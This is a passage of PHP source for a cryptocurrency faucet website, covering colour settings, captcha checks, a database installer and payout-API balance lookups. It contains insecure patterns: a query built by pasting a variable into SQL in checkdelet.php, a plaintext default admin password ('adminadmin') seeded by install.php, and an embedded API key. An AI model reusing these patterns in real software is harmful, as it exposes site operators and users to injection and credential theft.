295 | 298 | -------------------------------------------------------------------------------- /backcolor.php: -------------------------------------------------------------------------------- 1 | query("SELECT * FROM backcolor WHERE fid = '1'")->fetch_object()->value; 3 | $socialc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '2'")->fetch_object()->value; 4 | $headerco = $mysqli->query("SELECT * FROM backcolor WHERE fid = '3'")->fetch_object()->value; 5 | $balanceboxc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '4'")->fetch_object()->value; 6 | $startpagec = $mysqli->query("SELECT * FROM backcolor WHERE fid = '5'")->fetch_object()->value; 7 | $waitc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '6'")->fetch_object()->value; 8 | $rlhc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '7'")->fetch_object()->value; 9 | $rlbc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '8'")->fetch_object()->value; 10 | $rlmc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '9'")->fetch_object()->value; 11 | $rlboxc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '10'")->fetch_object()->value; 12 | $rphc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '11'")->fetch_object()->value; 13 | $rpbc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '12'")->fetch_object()->value; 14 | $rpmc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '13'")->fetch_object()->value; 15 | $rpboxc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '14'")->fetch_object()->value; 16 | $bihc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '15'")->fetch_object()->value; 17 | $bibc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '16'")->fetch_object()->value; 18 | $bimc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '17'")->fetch_object()->value; 19 | $biboxc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '18'")->fetch_object()->value; 20 | $bwhc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '19'")->fetch_object()->value; 21 | $bwbc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '20'")->fetch_object()->value; 22 | $bwmc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '21'")->fetch_object()->value; 23 | $bwboxc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '22'")->fetch_object()->value; 24 | $wfhc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '23'")->fetch_object()->value; 25 | $wfbc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '24'")->fetch_object()->value; 26 | $wfmc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '25'")->fetch_object()->value; 27 | $wfboxc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '26'")->fetch_object()->value; 28 | $faqhc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '27'")->fetch_object()->value; 29 | $faqbc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '28'")->fetch_object()->value; 30 | $faqmc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '29'")->fetch_object()->value; 31 | $faqboxc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '30'")->fetch_object()->value; 32 | $footc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '31'")->fetch_object()->value; 33 | $flboxc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '32'")->fetch_object()->value; 34 | $fltc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '33'")->fetch_object()->value; 35 | $flhc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '34'")->fetch_object()->value; 36 | $ptclbc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '35'")->fetch_object()->value; 37 | $ptclcc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '36'")->fetch_object()->value; 38 | $adsboxc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '37'")->fetch_object()->value; 39 | $adsdetailsc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '38'")->fetch_object()->value; 40 | $adshc = $mysqli->query("SELECT * FROM backcolor WHERE fid = '39'")->fetch_object()->value; 41 | $adsnored = $mysqli->query("SELECT * FROM backcolor WHERE fid = '40'")->fetch_object()->value; 42 | ?> -------------------------------------------------------------------------------- /bannerrotrate.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /captchareward.php: -------------------------------------------------------------------------------- 1 | query("SELECT * FROM settings WHERE id = '19'")->fetch_object()->value; 3 | if ($captchasystemonoff == "on"){ 4 | $captchasystem = $mysqli->query("SELECT * FROM settings WHERE id = '20'")->fetch_object()->value; 5 | if ($captchasystem == "Recaptcha"){ 6 | $recaptcha_secret_key = $mysqli->query("SELECT * FROM settings WHERE id = '22'")->fetch_object()->value; 7 | $secret = $recaptcha_secret_key; 8 | $verifyResponse = 'https://www.google.com/recaptcha/api/siteverify?secret='.$secret.'&response='.$_POST['g-recaptcha-response']; 9 | $ch = curl_init(); 10 | curl_setopt($ch, CURLOPT_URL, $verifyResponse); 11 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 12 | $output = curl_exec($ch); 13 | curl_close($ch); 14 | $responseData = json_decode($output); 15 | if($responseData->success){ 16 | include_once("reward.php"); 17 | }else{ 18 | $error = 'You are a robot'; 19 | unset($_SESSION['sectoken']); 20 | }}elseif ($captchasystem == "Solvemedia"){ 21 | require_once("libs/solvemedialib.php"); 22 | $solvemedia_response = solvemedia_check_answer($privkey,$_SERVER["REMOTE_ADDR"],$_POST["adcopy_challenge"],$_POST["adcopy_response"],$hashkey); 23 | if (!$solvemedia_response->is_valid) { 24 | $error = ucwords($solvemedia_response->error); 25 | unset($_SESSION['sectoken']); 26 | }else{ 27 | include_once("reward.php"); 28 | }}elseif ($captchasystem == "Hcaptcha"){ 29 | if(isset($_POST['h-captcha-response']) && !empty($_POST['h-captcha-response'])) { 30 | $hcaptcha_secret_key = $mysqli->query("SELECT * FROM settings WHERE id = '24'")->fetch_object()->value; 31 | $secret = $hcaptcha_secret_key; 32 | $verifyResponse = 'https://hcaptcha.com/siteverify?secret='.$secret.'&response='.$_POST['h-captcha-response']; 33 | $ch = curl_init(); 34 | curl_setopt($ch, CURLOPT_URL, $verifyResponse); 35 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 36 | $output = curl_exec($ch); 37 | curl_close($ch); 38 | $responseData = json_decode($output); 39 | if($responseData->success){ 40 | include_once("reward.php"); 41 | }else{ 42 | $error = 'hCaptcha verification failed. Please try again.'; 43 | unset($_SESSION['sectoken']); 44 | }}else{ 45 | $error = 'Please click on the hCaptcha button.'; 46 | unset($_SESSION['sectoken']); 47 | }}}else{ 48 | include_once("reward.php"); 49 | }?> -------------------------------------------------------------------------------- /checkdelet.php: -------------------------------------------------------------------------------- 1 | query("SELECT * FROM link WHERE sec_key = '$key'"); 8 | $link = $check->fetch_assoc(); 9 | 10 | $currency = $link['currency']; 11 | 12 | $reward = $link['reward']; 13 | 14 | 15 | 16 | 17 | echo $currency . "
"; 18 | echo $reward . "
"; 19 | 20 | ?> -------------------------------------------------------------------------------- /faucetearn.php: -------------------------------------------------------------------------------- 1 | 17 | -------------------------------------------------------------------------------- /install.php: -------------------------------------------------------------------------------- 1 | query($querycheck); 5 | if ($query_result !== FALSE){ 6 | echo "


Your installed complete.


Please     DETETE     'install.php'      File


Go to Home PAGE    ADMIN PAGE and Type

username: admin
password: adminadmin

Change password adminamin to own password and Save.

"; 7 | }else{ 8 | $mysqli->query("DROP TABLE `address_list` ,`banners` , `drawrecord` , `failure` ,`fauclist` ,`ip_list` ,`ip_list_address` ,`link` ,`ptclist` ,`reptads` ,`settings` ,`short_link` ,`backcolor` ,`adssetting` ,`pendwebs` ,`reward`;"); 9 | $mysqli->query(" 10 | CREATE TABLE IF NOT EXISTS `address_list` ( 11 | `id` int(32) NOT NULL AUTO_INCREMENT PRIMARY KEY, 12 | `address` varchar(150) NOT NULL, 13 | `referred_by` varchar(75) NOT NULL, 14 | `last_claim` varchar(32) NOT NULL, 15 | `status` varchar(10) NOT NULL 16 | ) ENGINE=MyISAM DEFAULT CHARSET=latin1; 17 | "); 18 | $mysqli->query(" 19 | CREATE TABLE IF NOT EXISTS `adssetting` ( 20 | `aid` int(32) NOT NULL AUTO_INCREMENT PRIMARY KEY, 21 | `banrsize` varchar(10) NOT NULL, 22 | `banrimp1` varchar(10) NOT NULL, 23 | `banrpric1` varchar(25) NOT NULL, 24 | `banrimp2` varchar(10) NOT NULL, 25 | `banrpric2` varchar(25) NOT NULL, 26 | `banrimp3` varchar(10) NOT NULL, 27 | `banrpric3` varchar(25) NOT NULL 28 | ) ENGINE=MyISAM DEFAULT CHARSET=latin1; 29 | "); 30 | $mysqli->query(" 31 | INSERT INTO `adssetting` (`aid`, `banrsize`, `banrimp1`, `banrpric1`, `banrimp2`, `banrpric2`, `banrimp3`, `banrpric3`) VALUES 32 | (1, '468x60', '10000', '0.00015', '25000', '0.00035', '50000', '0.00072'), 33 | (2, '728x90', '10000', '0.00015', '25000', '0.00035', '50000', '0.00072'), 34 | (3, '120x600', '10000', '0.00015', '25000', '0.00035', '50000', '0.00072'); 35 | "); 36 | $mysqli->query(" 37 | CREATE TABLE IF NOT EXISTS `banners` ( 38 | `fnum` int(10) NOT NULL AUTO_INCREMENT PRIMARY KEY, 39 | `fbanercode` text NOT NULL, 40 | `websitename` varchar(250) NOT NULL, 41 | `bannersize` varchar(10) NOT NULL, 42 | `secucode` varchar(50) NOT NULL 43 | ) ENGINE=MyISAM DEFAULT CHARSET=latin1; 44 | "); 45 | $mysqli->query(" 46 | INSERT INTO `banners` (`fnum`, `fbanercode`, `websitename`, `bannersize`, `secucode`) VALUES 47 | (1, '', 'btcearns.xyz', '468x60', '718bacbd063f3f197db0bee7b4e4838b'); 48 | "); 49 | $mysqli->query(" 50 | CREATE TABLE IF NOT EXISTS `drawrecord` ( 51 | `id` int(32) NOT NULL AUTO_INCREMENT PRIMARY KEY, 52 | `address` varchar(150) NOT NULL, 53 | `dtime` varchar(20) NOT NULL, 54 | `satoshi` varchar(20) NOT NULL 55 | ) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4; 56 | "); 57 | $mysqli->query(" 58 | CREATE TABLE IF NOT EXISTS `reward` ( 59 | `id` int(8) NOT NULL AUTO_INCREMENT PRIMARY KEY, 60 | `sitename` varchar(50) NOT NULL, 61 | `curname` varchar(20) NOT NULL, 62 | `satoshi` varchar(20) NOT NULL, 63 | `hideshow` varchar(20) NOT NULL 64 | ) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4; 65 | "); 66 | $mysqli->query(" 67 | INSERT INTO `reward` (`id`, `sitename`, `curname`, `satoshi`, `hideshow`) VALUES 68 | (1, 'Bitcoin (BTC) Faucet', 'BTC', '1', 'on'), 69 | (2, 'Bitcoin (BTC) Faucet', 'BTC', '1', 'show'), 70 | (3, 'Dogecoin (DOGE) Faucet', 'DOGE', '20000', 'show'), 71 | (4, 'Litecoin (LTC) Faucet', 'LTC', '20000', 'show'), 72 | (5, 'Ethereum (ETH) Faucet', 'ETH', '30000', 'show'), 73 | (6, 'Binance Coin (BNB) Faucet', 'BNB', '200', 'show'), 74 | (7, 'Bitcoin Cash (BCH) Faucet', 'BCH', '500000', 'show'), 75 | (8, 'Dash (DASH) Faucet', 'DASH', '500000', 'show'), 76 | (9, 'DigiByte (DGB) Faucet', 'DGB', '500000', 'show'), 77 | (10, 'Feyorra (FEY) Faucet', 'FEY', '500000', 'show'), 78 | (11, 'Solana (SOL) Faucet', 'SOL', '500000', 'show'), 79 | (12, 'Tron (TRX) Faucet', 'TRX', '500000', 'show'), 80 | (13, 'Tether TRC20 (USDT) Faucet', 'USDT', '500000', 'show'), 81 | (14, 'Ripple (XRP) Faucet', 'XRP', '500000', 'show'), 82 | (15, 'Zcash (ZEC) Faucet', 'ZEC', '500000', 'show'); 83 | "); 84 | $mysqli->query(" 85 | CREATE TABLE IF NOT EXISTS `failure` ( 86 | `address` varchar(150) NOT NULL, 87 | `ip_address` varchar(20) NOT NULL 88 | ) ENGINE=MyISAM DEFAULT CHARSET=latin1; 89 | "); 90 | $mysqli->query(" 91 | CREATE TABLE IF NOT EXISTS `fauclist` ( 92 | `fauid` int(22) NOT NULL AUTO_INCREMENT PRIMARY KEY, 93 | `webname` varchar(100) NOT NULL, 94 | `secucode` varchar(100) NOT NULL, 95 | `timers` varchar(10) NOT NULL, 96 | `minimum` varchar(10) NOT NULL, 97 | `maximum` varchar(10) NOT NULL, 98 | `payment` varchar(20) NOT NULL, 99 | `referral` varchar(20) NOT NULL, 100 | `refurl` varchar(200) NOT NULL 101 | ) ENGINE=MyISAM DEFAULT CHARSET=latin1; 102 | "); 103 | $mysqli->query(" 104 | CREATE TABLE IF NOT EXISTS `ip_list` ( 105 | `id` int(32) NOT NULL AUTO_INCREMENT PRIMARY KEY, 106 | `claim_address` varchar(150) NOT NULL, 107 | `ip_address` varchar(50) NOT NULL, 108 | `first_time` varchar(32) NOT NULL, 109 | `last_claim` varchar(32) NOT NULL, 110 | `short_link_id` varchar(20) NOT NULL, 111 | `per_value_repirt` varchar(20) NOT NULL, 112 | `count_value` varchar(20) NOT NULL, 113 | `total_value` varchar(20) NOT NULL 114 | ) ENGINE=MyISAM DEFAULT CHARSET=latin1; 115 | "); 116 | 117 | $mysqli->query(" 118 | CREATE TABLE IF NOT EXISTS `ip_list_address` ( 119 | `id` int(32) NOT NULL AUTO_INCREMENT PRIMARY KEY, 120 | `claim_address` varchar(150) NOT NULL, 121 | `ip_address` varchar(50) NOT NULL, 122 | `first_time` varchar(32) NOT NULL, 123 | `last_claim` varchar(32) NOT NULL, 124 | `short_link_id` varchar(20) NOT NULL, 125 | `per_value_repirt` varchar(20) NOT NULL, 126 | `count_value` varchar(20) NOT NULL, 127 | `total_value` varchar(20) NOT NULL 128 | ) ENGINE=MyISAM DEFAULT CHARSET=latin1; 129 | "); 130 | 131 | 132 | $mysqli->query(" 133 | CREATE TABLE IF NOT EXISTS `pendwebs` ( 134 | `tnum` int(10) NOT NULL AUTO_INCREMENT PRIMARY KEY, 135 | `usersecode` varchar(220) NOT NULL, 136 | `pay_system` varchar(10) NOT NULL, 137 | `bsize` varchar(10) NOT NULL, 138 | `bimpres` varchar(10) NOT NULL, 139 | `ptobtc` varchar(15) NOT NULL, 140 | `transaction` text NOT NULL, 141 | `headline` varchar(25) NOT NULL, 142 | `descri` varchar(78) NOT NULL, 143 | `describecol` varchar(41) NOT NULL, 144 | `displayurl` varchar(250) NOT NULL, 145 | `targeturl` varchar(255) NOT NULL, 146 | `websecord` varchar(35) NOT NULL, 147 | `savedate` varchar(10) NOT NULL, 148 | `status` varchar(10) NOT NULL, 149 | `viewads` varchar(15) NOT NULL, 150 | `reqapp` varchar(5) NOT NULL, 151 | `opian` text NOT NULL 152 | ) ENGINE=MyISAM DEFAULT CHARSET=latin1; 153 | "); 154 | $mysqli->query(" 155 | CREATE TABLE IF NOT EXISTS `link` ( 156 | `idl` int(5) NOT NULL AUTO_INCREMENT PRIMARY KEY, 157 | `address` varchar(150) NOT NULL, 158 | `token` varchar(200) NOT NULL, 159 | `sec_key` varchar(50) NOT NULL, 160 | `time_created` varchar(20) NOT NULL, 161 | `currency` varchar(10) NOT NULL, 162 | `reward` varchar(20) NOT NULL 163 | ) ENGINE=MyISAM DEFAULT CHARSET=latin1; 164 | "); 165 | $mysqli->query(" 166 | CREATE TABLE IF NOT EXISTS `ptclist` ( 167 | `ptcid` int(22) NOT NULL AUTO_INCREMENT PRIMARY KEY, 168 | `img` text NOT NULL, 169 | `refurl` varchar(200) NOT NULL, 170 | `secucode` varchar(100) NOT NULL, 171 | `earnup` varchar(10) NOT NULL, 172 | `adment` varchar(10) NOT NULL, 173 | `referral` varchar(10) NOT NULL, 174 | `dayopen` varchar(20) NOT NULL, 175 | `minpayout` varchar(20) NOT NULL, 176 | `withdraw` varchar(100) NOT NULL 177 | ) ENGINE=MyISAM DEFAULT CHARSET=latin1; 178 | "); 179 | $mysqli->query(" 180 | CREATE TABLE IF NOT EXISTS `reptads` ( 181 | `repid` int(10) NOT NULL AUTO_INCREMENT PRIMARY KEY, 182 | `repads` varchar(20) NOT NULL, 183 | `numberr` decimal(11,0) NOT NULL 184 | ) ENGINE=MyISAM DEFAULT CHARSET=latin1; 185 | "); 186 | $mysqli->query(" 187 | INSERT INTO `reptads` (`repid`, `repads`, `numberr`) VALUES 188 | (1, '120x90', '0'), 189 | (2, '120x240', '0'), 190 | (3, '120x600', '0'), 191 | (4, '125x125', '0'), 192 | (5, '160x90', '0'), 193 | (6, '160x600', '0'), 194 | (7, '180x90', '0'), 195 | (8, '180x150', '0'), 196 | (9, '200x90', '0'), 197 | (10, '200x200', '0'), 198 | (11, '234x60', '0'), 199 | (12, '240x400', '0'), 200 | (13, '250x250', '0'), 201 | (14, '300x250', '0'), 202 | (15, '320x50', '0'), 203 | (16, '336x280', '0'), 204 | (17, '468x15', '0'), 205 | (18, '468x60', '0'), 206 | (19, '728x15', '0'), 207 | (20, '728x90', '0'), 208 | (21, '990x90', '0'); 209 | "); 210 | $mysqli->query(" 211 | CREATE TABLE IF NOT EXISTS `settings` ( 212 | `id` int(32) NOT NULL AUTO_INCREMENT PRIMARY KEY, 213 | `name` varchar(50) NOT NULL, 214 | `value` varchar(255) NOT NULL 215 | ) ENGINE=MyISAM DEFAULT CHARSET=latin1; 216 | "); 217 | $mysqli->query(" 218 | INSERT INTO `settings` (`id`, `name`, `value`) VALUES 219 | (1, 'Tital Name', 'BTC Earn Daily'), 220 | (2, 'Description', 'BTC Faucet Daily many satoshi earn using solved captcha'), 221 | (3, 'Url', 'http://btcearn.ueuo.com/'), 222 | (4, 'Site Name', 'Bitcoin Faucet'), 223 | (5, 'Balance Show or Not', 'on'), 224 | (6, 'Faucet Run', 'on'), 225 | (7, 'Time wait Page Load', '10'), 226 | (8, 'Time Waite Button Show', '10'), 227 | (9, 'Reward', '5'), 228 | (10, 'Timer', '60'), 229 | (11, 'Referral Commision', '10'), 230 | (12, 'Remove All IP', '1595650315'), 231 | (13, 'antibot', 'on'), 232 | (14, 'Currency', 'BTC'), 233 | (15, 'FaucetHub Api', ''), 234 | (16, 'Short Link', 'off'), 235 | (17, 'Short Link Reward', '10'), 236 | (18, 'Force Short Link', 'on'), 237 | (19, 'Captcha System', 'on'), 238 | (20, 'Captcha System', 'Solvemedia'), 239 | (21, 'Recaptcha Public Key', ''), 240 | (22, 'Recaptcha Secret Key', ''), 241 | (23, 'Hcaptcha Site Key', ''), 242 | (24, 'Hcaptcha Secret Key', ''), 243 | (25, 'Bitcaptcha Id For WWW Verson', ''), 244 | (26, 'Bitcaptcha Key For WWW Verson', ''), 245 | (27, 'SolveMedia Challenge Key', ''), 246 | (28, 'SolveMedia Private Key', ''), 247 | (29, 'SolveMedia Hash Key', ''), 248 | (30, 'IpHub Api', 'NDk3OTpXeDQ4aHNEaDlQT05wQVg1d2VXRlZBY2VpM1JvSEs4Yw=='), 249 | (31, 'Ads left fix', 'on'), 250 | (32, 'Ads right fix', 'on'), 251 | (33, 'Ads footer fix', 'on'), 252 | (34, 'copyright', '2018-2020'), 253 | (35, 'Meta Description', 'Claim free satoshi every minute'), 254 | (36, 'Meta Keywords', 'bitcoin faucet, earn bitcoin, free bitcoin, best bitcoin faucet, earn money online, free money, claim bitcoin, i-bits, faucethub faucet'), 255 | (37, 'None detected', 'http://whatismyipaddress.com/ip/'), 256 | (38, 'Payout Website', 'Faucetpay.io'), 257 | (39, 'faucetpay_api_token', ''), 258 | (40, 'expresscrypto_api_token', ''), 259 | (41, 'expresscrypto_user_token', ''), 260 | (42, 'microwallet_api', ''), 261 | (43, 'Blockio_Api_Key', ''), 262 | (44, 'Blockio_Pin', ''), 263 | (45, 'Total Paid', '0'), 264 | (46, 'Proxy Check', 'off'), 265 | (47, 'Block Page Banner', 'on'), 266 | (48, 'User Name', 'admin'), 267 | (49, 'Password', 'adminadmin'), 268 | (50, 'TBcheck', '5'); 269 | "); 270 | $mysqli->query(" 271 | CREATE TABLE IF NOT EXISTS `short_link` ( 272 | `id` int(32) NOT NULL AUTO_INCREMENT PRIMARY KEY, 273 | `short_link` text NOT NULL, 274 | `click` varchar(5) NOT NULL, 275 | `dandi` varchar(5) NOT NULL, 276 | `secucode` varchar(50) NOT NULL 277 | ) ENGINE=MyISAM DEFAULT CHARSET=latin1; 278 | "); 279 | $mysqli->query(" 280 | CREATE TABLE IF NOT EXISTS `backcolor` ( 281 | `fid` int(10) NOT NULL AUTO_INCREMENT PRIMARY KEY, 282 | `framename` varchar(45) NOT NULL, 283 | `value` varchar(10) NOT NULL 284 | ) ENGINE=MyISAM DEFAULT CHARSET=latin1; 285 | "); 286 | $mysqli->query(" 287 | INSERT INTO `backcolor` (`fid`, `framename`, `value`) VALUES 288 | (1, 'Body Color', '#aadae8'), 289 | (2, 'Social Color', '#0277BD'), 290 | (3, 'Header Color', '#0277BD'), 291 | (4, 'Balance Box Color', '#4FC3F7'), 292 | (5, 'Start Box Color', '#4FC3F7'), 293 | (6, 'Wait Box Color', '#CCFFCF'), 294 | (7, 'Ref link Header Color', '#0277BD'), 295 | (8, 'Ref link Body Color', '#4FC3F7'), 296 | (9, 'Ref link Body Color 2', '#4FC3F7'), 297 | (10, 'Ref link Box Color', '#FFFFFF'), 298 | (11, 'Recent Payouts Header Col', '#0277BD'), 299 | (12, 'Recent Payouts Body Color', '#4FC3F7'), 300 | (13, 'Recent Payouts Body Color', '#4FC3F7'), 301 | (14, 'Recent Payouts Box Color', '#FFFFFF'), 302 | (15, 'Bitcoin Inf Header Color', '#0277BD'), 303 | (16, 'Bitcoin Inf Body Color', '#4FC3F7'), 304 | (17, 'Bitcoin Inf Body Color 2', '#4FC3F7'), 305 | (18, 'Bitcoin Inf Box Color', '#FFFFFF'), 306 | (19, 'Bitcoin wallet Header Col', '#0277BD'), 307 | (20, 'Bitcoin wallet Body Color', '#4FC3F7'), 308 | (21, 'Bitcoin wallet Body Color', '#4FC3F7'), 309 | (22, 'Bitcoin wallet Box Color', '#FFFFFF'), 310 | (23, 'Bitcoin Faucet Header Col', '#0277BD'), 311 | (24, 'Bitcoin Faucet Body Color', '#4FC3F7'), 312 | (25, 'Bitcoin Faucet Body Color', '#4FC3F7'), 313 | (26, 'Bitcoin Faucet Box Color', '#FFFFFF'), 314 | (27, 'FAQ Header Color', '#0277BD'), 315 | (28, 'FAQ Body Color', '#4FC3F7'), 316 | (29, 'FAQ Body Color 2', '#4FC3F7'), 317 | (30, 'FAQ Box Color', '#FFFFFF'), 318 | (31, 'Footer Body Color', '#0277BD'), 319 | (32, 'Faucet List Box Color', '#FCCCCF'), 320 | (33, 'Faucet List Title Color', '#008A04'), 321 | (34, 'Faucet List Header Color', '#CCEE00'), 322 | (35, 'PTC List Box Color', '#0077DD'), 323 | (36, 'PTC List Cell Color', '#00B4AA'), 324 | (37, 'Advertising Box Color', '#548C57'), 325 | (38, 'Advertising Details Color', '#deda1f'), 326 | (39, 'Advertising Header Color', '#CFFCFC'), 327 | (40, 'Advertising No Record Found Box Color', '#CCFFCF'); 328 | "); 329 | echo ''; 330 | } 331 | ?> -------------------------------------------------------------------------------- /libs/balanceshow.php: -------------------------------------------------------------------------------- 1 | query("SELECT * FROM settings WHERE id = '38'")->fetch_object()->value; 3 | if ($payoutwebsite == "Faucetpay.io") { 4 | function balance() { 5 | global $mysqli,$hacker_security; 6 | $faucetpay_api = $mysqli->query("SELECT * FROM settings WHERE id = '39'")->fetch_object()->value; 7 | if (!isset($_SESSION['curname'])) { 8 | $currency = $mysqli->query("SELECT * FROM settings WHERE id = '14'")->fetch_object()->value; 9 | }else{ 10 | $currency = $_SESSION['curname']; 11 | } 12 | $sec = md5($hacker_security); 13 | $str = str_replace($sec,"",$faucetpay_api); 14 | $param = array('api_key' => $str,'currency' => $currency); 15 | $url = 'https://faucetpay.io/api/v1/balance'; 16 | $ch = curl_init($url); 17 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 18 | curl_setopt($ch, CURLOPT_POST, count($param)); 19 | curl_setopt($ch, CURLOPT_POSTFIELDS, $param); 20 | $result = curl_exec($ch); 21 | curl_close($ch); 22 | $jsonhis = json_decode($result, TRUE); 23 | return $jsonhis['balance']; 24 | } 25 | ?> 26 |

Faucet Balance: satoshi

27 | query("SELECT * FROM settings WHERE id = '40'")->fetch_object()->value; 33 | $expresscrypto_api_token = str_replace($sec,"",$expresscrypto_api_token); 34 | $expresscrypto_user_token = $mysqli->query("SELECT * FROM settings WHERE id = '41'")->fetch_object()->value; 35 | $expresscrypto_user_token = str_replace($sec,"",$expresscrypto_user_token); 36 | if (!isset($_SESSION['curname'])) { 37 | $currency = $mysqli->query("SELECT * FROM settings WHERE id = '14'")->fetch_object()->value; 38 | }else{ 39 | $currency = $_SESSION['curname']; 40 | } 41 | $param = array('api_key' => $expresscrypto_api_token,'currency' => $currency,'user_token' => $expresscrypto_user_token); 42 | $url = 'https://expresscrypto.io/public-api/v2/getBalance'; 43 | $ch = curl_init($url); 44 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 45 | curl_setopt($ch, CURLOPT_POST, count($param)); 46 | curl_setopt($ch, CURLOPT_POSTFIELDS, $param); 47 | $result = curl_exec($ch); 48 | curl_close($ch); 49 | $jsonhis = json_decode($result, TRUE); 50 | return $jsonhis['balance']; 51 | } 52 | ?> 53 |

Faucet Balance: satoshi

54 | query("SELECT * FROM settings WHERE id = '41'")->fetch_object()->value; 59 | if (!isset($_SESSION['curname'])) { 60 | $currency = $mysqli->query("SELECT * FROM settings WHERE id = '14'")->fetch_object()->value; 61 | }else{ 62 | $currency = $_SESSION['curname']; 63 | } 64 | $sec = md5($hacker_security); 65 | $str = str_replace($sec,"",$microwallet); 66 | $param = array('api_key' => $str,'currency' => $currency); 67 | $url = 'https://api.microwallet.co/v1/balance'; 68 | $ch = curl_init($url); 69 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 70 | curl_setopt($ch, CURLOPT_POST, count($param)); 71 | curl_setopt($ch, CURLOPT_POSTFIELDS, $param); 72 | $result = curl_exec($ch); 73 | curl_close($ch); 74 | $jsonhis = json_decode($result, TRUE); 75 | return $jsonhis['balance']; 76 | } 77 | ?> 78 |

Faucet Balance: satoshi

79 | query("SELECT * FROM settings WHERE id = '15'")->fetch_object()->value; 84 | if (!isset($_SESSION['curname'])) { 85 | $currency = $mysqli->query("SELECT * FROM settings WHERE id = '14'")->fetch_object()->value; 86 | }else{ 87 | $currency = $_SESSION['curname']; 88 | } 89 | $sec = md5($hacker_security); 90 | $str = str_replace($sec,"",$faucethub_api); 91 | $param = array('api_key' => $str,'currency' => $currency); 92 | $url = 'https://faucethub.io/api/v1/balance'; 93 | $ch = curl_init($url); 94 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 95 | curl_setopt($ch, CURLOPT_POST, count($param)); 96 | curl_setopt($ch, CURLOPT_POSTFIELDS, $param); 97 | $result = curl_exec($ch); 98 | curl_close($ch); 99 | $jsonhis = json_decode($result, TRUE); 100 | return $jsonhis['balance']; 101 | } 102 | ?> 103 |

Faucet Balance: satoshi

104 | -------------------------------------------------------------------------------- /libs/database.php: -------------------------------------------------------------------------------- 1 | 9 | -------------------------------------------------------------------------------- /libs/expresscrypto.library.php: -------------------------------------------------------------------------------- 1 | api_key = $api_key; 26 | $this->user_token = $user_token; 27 | $this->ip_user = $ip_user; 28 | $this->disable_curl = $disable_curl; 29 | $this->verify_peer = $verify_peer; 30 | $this->curl_warning = false; 31 | $this->setTimeout($timeout); 32 | } 33 | 34 | public function __exec($method, $params = array()) { 35 | $this->last_status = null; 36 | if($this->disable_curl) { 37 | $response = $this->__execPHP($method, $params); 38 | } else { 39 | $response = $this->__execCURL($method, $params); 40 | } 41 | $response = json_decode($response, true); 42 | if($response) { 43 | $this->last_status = $response['status']; 44 | } else { 45 | $this->last_status = null; 46 | $response = array("status" => 520, "message" => "Invalid response"); 47 | } 48 | return $response; 49 | } 50 | 51 | public function __execPHP($method, $params = array()) { 52 | $params = array_merge($params, array("api_key" => $this->api_key, "user_token" => $this->user_token, "ip_user" => $this->ip_user)); 53 | 54 | $opts = array( 55 | "http" => array( 56 | "method" => "POST", 57 | "header" => "Content-type: application/x-www-form-urlencoded\r\n", 58 | "content" => http_build_query($params), 59 | "timeout" => $this->timeout 60 | ), 61 | "ssl" => array( 62 | "verify_peer" => $this->verify_peer 63 | ) 64 | ); 65 | 66 | $ctx = stream_context_create($opts); 67 | $fp = fopen($this->api_base . $method, 'rb', null, $ctx); 68 | 69 | if(!$fp){ 70 | return json_encode(array("status" => 521, "message" => "Connection refused, please try again later...")); 71 | }else{ 72 | $response = stream_get_contents($fp); 73 | if($response && !$this->disable_curl) { 74 | $this->curl_warning = true; 75 | } 76 | fclose($fp); 77 | return $response; 78 | } 79 | } 80 | 81 | public function __execCURL($method, $params = array()) { 82 | $params = array_merge($params, array("api_key" => $this->api_key, "user_token" => $this->user_token, "ip_user" => $this->ip_user)); 83 | 84 | $headers = array( 85 | "Content-type: application/json;charset=\"utf-8\"", 86 | "Accept: application/json" 87 | ); 88 | 89 | $ch = curl_init($this->api_base . $method); 90 | curl_setopt($ch, CURLOPT_POST, true); 91 | curl_setopt($ch, CURLOPT_POSTFIELDS, $params); 92 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, $this->verify_peer); 93 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 94 | //curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); 95 | curl_setopt($ch, CURLOPT_TIMEOUT, (int)$this->timeout); 96 | 97 | $response = curl_exec($ch); 98 | if(!$response) { 99 | return json_encode(array("status" => 524, "message" => "Connection error")); 100 | } 101 | 